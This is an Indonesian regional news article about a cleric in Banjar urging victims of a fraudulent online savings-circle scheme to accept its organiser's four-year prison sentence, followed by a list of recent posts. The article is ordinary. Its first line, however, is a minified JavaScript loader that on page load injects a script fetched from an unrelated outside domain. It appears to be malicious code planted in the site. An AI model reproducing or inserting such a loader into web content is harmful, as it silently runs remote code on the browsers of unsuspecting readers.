(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Ketua MUI Banjar Minta Para Korban Iray Lapang Dada terkait Vonis Pengadilan


MARTAPURA, Vonis 4 tahun penjara yang dijatuhkan majelis hakim pada terdakwa Siti Raihana alias Iray Kasfi, bandar arisan online bodong, di Pengadilan Negeri (PN) Martapura membuat para korbannya banyak kecewa. Mereka menilai putusan hakim tersebut terlalu ringan bagi Iray yang telah merugikan banyak pihak.

Ketua Majelis Ulama Indonesia (MUI) Banjar, KH M Fadlan yang dimintai komentarnya akan putusan tersebut memaklumi dengan kekecewaan para korban lantaran yang telah dirugikan dalam hal materi. Namun apa boleh buat, itu merupakan keputusan yang harus dihargai.

“Kepada para korban mudah-mudahan bisa menerima putusan hakim dengan lapang dada, bisa bersabar, dan segala kerugian itu bisa digantikan oleh Allah SWT dengan jalan yang lain” ungkap beliau.

Sementara terkait banyaknya warga Martapura yang menjadi korban arisan online bodong ini, Fadlan ikut prihatin. Menurutnya masyarakat kita yang menjadi korban itu kurang pengetahuannya akan bisnis yang ditawarkan. Seharusnya untuk bisa ikut dalam sebuah usaha harus diteliti dulu dengan mengumpulkan informasi-informasi yang lengkap terkait usahanya serta untung dan ruginya, “kita jangan asal ikut kalau belum tahu kinerjanya seperti apa,” katanya.

Lebih jauh diungkapkannya bahwa terkait boleh atau tidaknya, hukum halal atau haramnya bisnis arisan dimaksud, ulama dengan tutur kata penuh kelembutan ini tidak bisa memastikannya. “Saya tidak bisa memastikannya karena saya sendiri kurang tahu sistem dan kinerja arisannya seperti apa” ujarnya.

Ditambahkannya, meskipun demikian dalam menjalani hidup seharusnya harus berpegang pada prinsip hidup seperti diajarkan Rasulallah SAW. “Ambil yang meyakinkan dan tinggalkan yang meragukan, nah kalau kita berpegangan prinsip hidup seperti itu,” terangnya.

Terdakwa Siti Raihana (23) divonis oleh hakim Agustinus di PN Martapura pada Jumat lalu dengan hukuman 4 tahun penjara setelah melalui proses panjang beberapa kali  persidangan. Putusan hakim tersebut lebih tinggi dari tuntutan KPU yang hanya 3 tahun 4 bulan.(ron)


Desy Arfianty

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

10 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

12 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

12 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

14 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

2 hari ago

This website uses cookies.